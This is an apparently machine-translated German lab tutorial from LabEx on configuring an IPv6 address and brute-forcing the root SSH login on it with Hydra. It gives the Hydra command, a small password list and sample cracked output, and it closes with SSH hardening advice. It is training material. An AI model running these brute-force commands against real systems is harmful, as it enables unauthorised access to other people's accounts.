Angriffe auf IPv6-Ziele mit Hydra

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie IPv6-Ziele mit Hydra angreifen können. Das Lab konzentriert sich auf die Konfiguration eines Servers mit einer IPv6-Adresse und anschließend auf die Verwendung von Hydra zum Angriff auf seinen SSH-Dienst.

Das Lab beginnt mit der Konfiguration des Servers mit der IPv6-Adresse 2001:db8:1::1/64 auf der Schnittstelle eth0 mithilfe des Befehls ip. Anschließend aktivieren Sie die Schnittstelle und überprüfen die Konfiguration. Abschließend verwenden Sie Hydra mit der Option -6, um den IPv6-SSH-Dienst anzugreifen und die Angriffsresultate zu überprüfen.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/target_ip("Target IP Specification") hydra/HydraGroup -.-> hydra/target_service("Target Service Selection") hydra/HydraGroup -.-> hydra/ssh_attack("SSH Brute Force") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") subgraph Lab Skills hydra/single_username -.-> lab-550759{{"Angriffe auf IPv6-Ziele mit Hydra"}} hydra/single_password -.-> lab-550759{{"Angriffe auf IPv6-Ziele mit Hydra"}} hydra/target_ip -.-> lab-550759{{"Angriffe auf IPv6-Ziele mit Hydra"}} hydra/target_service -.-> lab-550759{{"Angriffe auf IPv6-Ziele mit Hydra"}} hydra/ssh_attack -.-> lab-550759{{"Angriffe auf IPv6-Ziele mit Hydra"}} hydra/success_detection -.-> lab-550759{{"Angriffe auf IPv6-Ziele mit Hydra"}} end

Server mit IPv6-Adresse konfigurieren

In diesem Schritt werden wir den Server mit einer IPv6-Adresse konfigurieren. Dies ist ein entscheidender Schritt für die Aktivierung der IPv6-Kommunikation und die Vorbereitung auf den anschließenden Angriff auf den IPv6-SSH-Dienst.

Zunächst verstehen wir die Grundlagen der IPv6-Adressierung. IPv6-Adressen sind 128-Bit-Adressen, die normalerweise in hexadezimaler Notation dargestellt werden. Eine typische IPv6-Adresse sieht wie folgt aus: 2001:0db8:85a3:0000:0000:8a2e:0370:7334.

Um die Konfiguration zu vereinfachen, verwenden wir eine einfache IPv6-Adresse für unseren Server. Wir weisen die Adresse 2001:db8:1::1/64 der Schnittstelle eth0 zu.

Hinweis: Die Schnittstelle eth0 ist ein gängiger Name für Netzwerkschnittstellen in Linux-Systemen. Wenn Ihr System einen anderen Schnittstellennamen verwendet (z. B. ens33), ersetzen Sie eth0 in den folgenden Befehlen durch den korrekten Schnittstellennamen. Sie können den Befehl ip addr verwenden, um Ihre Netzwerkschnittstellen zu überprüfen.

Jetzt konfigurieren wir die IPv6-Adresse. Wir verwenden den Befehl ip, ein leistungsstarkes Tool zur Verwaltung von Netzwerkschnittstellen.

  1. Fügen Sie die IPv6-Adresse der Schnittstelle eth0 hinzu:

    Öffnen Sie ein Terminal in der LabEx-VM. Führen Sie den folgenden Befehl aus:

    sudo ip addr add 2001:db8:1::1/64 dev eth0

    Dieser Befehl fügt die IPv6-Adresse 2001:db8:1::1/64 der Schnittstelle eth0 hinzu. Der /64 gibt die Netzwerkpräfixlänge an, die die Größe des IPv6-Subnetzes bestimmt.

  2. Aktivieren Sie die Schnittstelle eth0:

    sudo ip link set dev eth0 up

    Dieser Befehl bringt die Schnittstelle eth0 hoch und ermöglicht es ihr, Netzwerkverkehr zu senden und zu empfangen.

  3. Überprüfen Sie die IPv6-Adressenkonfiguration:

    Um zu überprüfen, ob die IPv6-Adresse korrekt konfiguriert wurde, verwenden Sie erneut den Befehl ip addr:

    ip addr show eth0

    Die Ausgabe sollte die IPv6-Adresse 2001:db8:1::1/64 im Abschnitt inet6 enthalten. Sie sollten etwas Ähnliches wie Folgendes sehen:

    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
        link/ether 00:0c:29:xx:xx:xx brd ff:ff:ff:ff:ff:ff
        inet 192.168.xx.xx/24 brd 192.168.xx.255 scope global dynamic eth0
           valid_lft 85781sec preferred_lft 85781sec
        inet6 2001:db8:1::1/64 scope global
           valid_lft forever preferred_lft forever
        inet6 fe80::20c:29ff:fexx:xxxx/64 scope link
           valid_lft forever preferred_lft forever

    Die Zeile inet6 2001:db8:1::1/64 scope global bestätigt, dass die IPv6-Adresse erfolgreich konfiguriert wurde.

  4. Fügen Sie ein Standard-IPv6-Gateway hinzu (Optional, aber empfohlen für vollständige IPv6-Konnektivität):

    Wenn Sie möchten, dass Ihr Server mit anderen IPv6-Netzwerken kommunizieren kann, müssen Sie ein Standard-IPv6-Gateway konfigurieren. Dieser Schritt setzt voraus, dass Sie einen Router in Ihrem Netzwerk haben, der IPv6-Konnektivität bereitstellt. Ersetzen Sie 2001:db8:1::254 durch die tatsächliche IPv6-Adresse Ihres Routers.

    sudo ip -6 route add default via 2001:db8:1::254

    Um das Standard-IPv6-Gateway zu überprüfen, verwenden Sie den Befehl ip -6 route:

    ip -6 route

    Die Ausgabe sollte eine Zeile ähnlich wie folgt enthalten:

    default via 2001:db8:1::254 dev eth0 metric 1024 pref medium

    Wichtiger Hinweis: Die obige Konfiguration ist nicht über Neustarts hinweg persistent. Um die IPv6-Adressenkonfiguration persistent zu machen, würden Sie normalerweise die Netzwerkkonfigurationsdateien ändern (z. B. /etc/network/interfaces auf Debian-basierten Systemen oder /etc/sysconfig/network-scripts/ifcfg-eth0 auf Red Hat-basierten Systemen). Aufgrund der Einschränkungen der LabEx-VM-Umgebung (insbesondere der Unfähigkeit, systemctl zu verwenden und der vorübergehenden Natur des Containers) werden wir die Persistenz der Konfiguration überspringen. Für die Zwecke dieses Labs wird die IPv6-Adresse nur für die aktuelle Sitzung konfiguriert.

Mit -6 für IPv6-Präferenz ausführen

In diesem Schritt bereiten wir uns auf den Angriff auf den IPv6-SSH-Dienst vor, indem wir die Option -6 bei Netzwerktools verstehen und nutzen. Die Option -6 wird üblicherweise verwendet, um eine Präferenz für IPv6 anzugeben, wenn mit Netzwerkdiensten interagiert wird. Dies ist wichtig, da einige Tools standardmäßig IPv4 bevorzugen können, wenn sowohl IPv4- als auch IPv6-Adressen verfügbar sind.

Um sicherzustellen, dass wir die in dem vorherigen Schritt konfigurierte IPv6-Adresse anvisieren, verwenden wir den Befehl ping mit der Option -6. Dadurch wird überprüft, ob wir den Server über seine IPv6-Adresse erreichen können.

  1. Ping der IPv6-Adresse:

    Öffnen Sie ein Terminal in der LabEx-VM. Führen Sie den folgenden Befehl aus:

    ping -6 2001:db8:1::1

    Dieser Befehl sendet ICMP Echo Request-Pakete an die IPv6-Adresse 2001:db8:1::1. Wenn der Server über IPv6 erreichbar ist, sollten Sie Antworten vom Server sehen. Die Ausgabe sollte in etwa so aussehen:

    PING 2001:db8:1::1(2001:db8:1::1) 56 data bytes
    64 bytes from 2001:db8:1::1: icmp_seq=1 ttl=64 time=0.020 ms
    64 bytes from 2001:db8:1::1: icmp_seq=2 ttl=64 time=0.018 ms
    64 bytes from 2001:db8:1::1: icmp_seq=3 ttl=64 time=0.019 ms
    ...

    Wenn Sie keine Antworten sehen, überprüfen Sie noch einmal die IPv6-Adressenkonfiguration aus dem vorherigen Schritt und stellen Sie sicher, dass die Schnittstelle eth0 aktiv ist. Überprüfen Sie auch, ob keine Firewallregeln den ICMPv6-Verkehr blockieren.

  2. Verständnis der Option -6:

    Die Option -6 teilt dem Befehl ping mit, IPv6 zu verwenden. Viele andere Netzwerktools wie ssh, curl und wget unterstützen ebenfalls die Option -6. Die Verwendung dieser Option stellt sicher, dass das Tool versucht, über IPv6 eine Verbindung zum Zielhost herzustellen.

    Im nächsten Schritt werden wir Hydra verwenden, um den SSH-Dienst anzugreifen. Wir werden die Option -6 mit Hydra verwenden, um speziell die IPv6-Adresse des SSH-Servers anzuvisieren. Dies stellt sicher, dass wir die Sicherheit der IPv6-SSH-Konfiguration testen.

  3. Testen der SSH-Verbindung mit -6 (Optional):

    Obwohl wir im nächsten Schritt den SSH-Dienst angreifen werden, ist es eine gute Praxis, eine grundlegende SSH-Verbindung mit der Option -6 zu testen, um sicherzustellen, dass SSH auf der IPv6-Adresse lauscht. Angenommen, Sie haben einen SSH-Server auf dem Zielsystem gestartet und ein Benutzerkonto namens testuser mit dem Passwort password, können Sie die Verbindung testen mit:

    ssh -6 testuser@2001:db8:1::1

    Sie werden wahrscheinlich aufgefordert, den SSH-Schlüssel-Fingerabdruck zu akzeptieren. Geben Sie yes ein und drücken Sie Enter. Geben Sie dann das Passwort password ein, wenn Sie dazu aufgefordert werden. Bei Erfolg werden Sie in den SSH-Server eingeloggt. Geben Sie exit ein, um die Verbindung zu trennen.

    Hinweis: Dieser Schritt ist optional, da wir im nächsten Schritt den SSH-Dienst angreifen werden, was implizit die SSH-Verbindung testet. Es ist jedoch eine gute Möglichkeit, zu überprüfen, dass SSH auf der IPv6-Adresse lauscht, bevor der Angriff gestartet wird. Wenn Sie keinen SSH-Server laufen haben oder kein Testbenutzerkonto, können Sie diesen Schritt überspringen.

Angriff auf den IPv6-SSH-Dienst

In diesem Schritt verwenden wir Hydra, um einen Brute-Force-Angriff auf den SSH-Dienst durchzuführen, der auf der zuvor konfigurierten IPv6-Adresse läuft. Hydra ist ein leistungsstarkes Passwort-Cracking-Tool, das verschiedene Protokolle unterstützt, einschließlich SSH.

Bevor wir beginnen, erstellen wir eine einfache Passwortliste. Diese Liste enthält die Passwörter, die Hydra verwenden wird, um sich beim SSH-Dienst zu authentifizieren.

  1. Erstellen einer Passwortliste:

    Öffnen Sie ein Terminal in der LabEx-VM. Verwenden Sie den nano-Editor, um eine Datei namens passwords.txt im Verzeichnis ~/project zu erstellen:

    nano ~/project/passwords.txt

    Fügen Sie die folgenden Passwörter in die Datei ein, jeweils ein Passwort pro Zeile:

    password
    123456
    qwerty
    admin
    secret

    Speichern Sie die Datei und verlassen Sie nano (Strg+X, dann Y, dann Enter).

  2. Ausführen von Hydra für den Angriff auf den IPv6-SSH-Dienst:

    Jetzt verwenden wir Hydra, um den SSH-Dienst anzugreifen. Wir verwenden die Option -6, um anzugeben, dass wir die IPv6-Adresse anvisieren möchten. Wir geben auch den zu angreifenden Benutzernamen (z. B. root), die von uns erstellte Passwortliste (passwords.txt) und die IPv6-Adresse des SSH-Servers (2001:db8:1::1) an.

    Führen Sie den folgenden Befehl aus:

    hydra -6 -l root -P ~/project/passwords.txt ssh://2001:db8:1::1

    Analysieren wir diesen Befehl:

    • hydra: Der Befehl, um das Hydra-Tool auszuführen.
    • -6: Gibt an, dass wir IPv6 verwenden möchten.
    • -l root: Gibt den zu angreifenden Benutzernamen an. In diesem Fall greifen wir auf den Benutzer root zu.
    • -P ~/project/passwords.txt: Gibt die zu verwendende Passwortliste an. In diesem Fall verwenden wir die Datei passwords.txt, die wir im Verzeichnis ~/project erstellt haben.
    • ssh://2001:db8:1::1: Gibt den Ziel-SSH-Dienst an. Das Präfix ssh:// zeigt an, dass wir einen SSH-Dienst angreifen, und 2001:db8:1::1 ist die IPv6-Adresse des Servers.

    Hydra beginnt nun, die Passwörter in der Datei passwords.txt gegen den SSH-Dienst zu testen. Wenn Hydra ein gültiges Passwort findet, wird es die Anmeldeinformationen anzeigen. Die Ausgabe sollte in etwa so aussehen:

    Hydra v9.1 (c) 2020 by van Hauser/THC - Use freely but only for legal purposes.
    
    Hydra starting at 2023-10-27 10:00:00
    [DATA] 1 task, 5 hosts, 5 tries per host
    [DATA] attacking ssh://2001:db8:1::1:22
    [22][ssh] host: 2001:db8:1::1   login: root   password: password
    Hydra finished.

    Diese Ausgabe zeigt an, dass Hydra das Passwort für den Benutzer root erfolgreich geknackt hat und das Passwort password lautet.

    Wichtiger Hinweis: Das Brute-Forcing von Passwörtern auf einem System ohne autorisation ist illegal und unethisch. Dieser Lab ist nur zu Bildungszwecken bestimmt, und Sie sollten diese Techniken nur auf Systemen anwenden, die Sie besitzen oder für die Sie ausdrückliche Erlaubnis zur Durchführung von Tests haben.

Überprüfung der Ergebnisse des IPv6-Angriffs

In diesem Schritt überprüfen wir die Ergebnisse des Hydra-Angriffs auf den IPv6-SSH-Dienst. Wir prüfen, ob Hydra das Passwort erfolgreich geknackt hat und versuchen, bei Erfolg mit den geknackten Anmeldeinformationen eine SSH-Verbindung herzustellen.

  1. Überprüfung der Hydra-Ausgabe:

    Prüfen Sie die Ausgabe des Hydra-Befehls aus dem vorherigen Schritt sorgfältig. Suchen Sie nach einer Zeile, die einen erfolgreichen Passwortknackversuch anzeigt. Die Ausgabe sollte in etwa so aussehen:

    [22][ssh] host: 2001:db8:1::1   login: root   password: password

    Wenn Sie diese Zeile sehen, bedeutet dies, dass Hydra das Passwort für den Benutzer root erfolgreich geknackt hat und das Passwort password lautet. Wenn Hydra kein gültiges Passwort gefunden hat, müssen Sie Ihre Passwortliste anpassen oder potenzielle Probleme mit der SSH-Dienstkonfiguration untersuchen.

  2. Versuch, sich mit den geknackten Anmeldeinformationen am SSH-Dienst anzumelden:

    Da wir nun die geknackten Anmeldeinformationen haben, versuchen wir, uns mit dem Befehl ssh am SSH-Dienst anzumelden. Wir verwenden die Option -6, um anzugeben, dass wir uns über die IPv6-Adresse verbinden möchten.

    Führen Sie den folgenden Befehl aus und ersetzen Sie password durch das tatsächlich von Hydra geknackte Passwort:

    ssh -6 root@2001:db8:1::1

    Wenn Sie zur Eingabe des Passworts aufgefordert werden, geben Sie das geknackte Passwort ein (z. B. password). Wenn die Anmeldung erfolgreich ist, werden Sie am SSH-Server angemeldet.

    The authenticity of host '[2001:db8:1::1]:22 ([2001:db8:1::1]:22)' can't be established.
    ECDSA key fingerprint is SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '[2001:db8:1::1]:22' (ECDSA) to the list of known hosts.
    root@2001:db8:1::1's password:
    Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    ...

    Wenn Sie sich erfolgreich anmelden können, bestätigt dies, dass der Hydra-Angriff erfolgreich war und dass der SSH-Dienst anfällig für Passwortknackversuche ist.

  3. Sicherheitsempfehlungen:

    Dieser Lab demonstriert die Wichtigkeit der Verwendung starken Passwörter und die Umsetzung von Sicherheitsbest Practices zum Schutz Ihres SSH-Dienstes. Hier sind einige Empfehlungen:

    • Verwenden Sie starke Passwörter: Verwenden Sie Passwörter, die mindestens 12 Zeichen lang sind und eine Mischung aus Großbuchstaben, Kleinbuchstaben, Zahlen und Symbolen enthalten.
    • Deaktivieren Sie die Passwortauthentifizierung: Erwägen Sie die Deaktivierung der Passwortauthentifizierung und die Verwendung von SSH-Schlüsseln stattdessen. SSH-Schlüssel sind sicherer als Passwörter, da sie viel schwieriger zu knacken sind.
    • Implementieren Sie eine Rate-Limiting: Verwenden Sie Tools wie fail2ban, um eine Rate-Limiting für SSH-Anmeldeversuche zu implementieren. Dies verhindert, dass Angreifer in kurzer Zeit zu viele Passwörter ausprobieren können.
    • Halten Sie Ihre Software auf dem neuesten Stand: Stellen Sie sicher, dass Ihre SSH-Server-Software mit den neuesten Sicherheitsupdates auf dem neuesten Stand ist.

Zusammenfassung

In diesem Lab haben wir einen Server mit einer IPv6-Adresse konfiguriert, was ein entscheidender Schritt für die Aktivierung der IPv6-Kommunikation ist. Dies beinhaltete das Verständnis der Grundlagen der IPv6-Adressierung und die Verwendung des Befehls ip, um die Adresse 2001:db8:1::1/64 an die Schnittstelle eth0 zuzuweisen.

Anschließend haben wir die Schnittstelle aktiviert und die Konfiguration mit ip addr show eth0 überprüft, um sicherzustellen, dass die IPv6-Adresse korrekt zugewiesen wurde. Diese Einrichtung bereitet den Server auf nachfolgende Angriffe auf den IPv6-SSH-Dienst vor.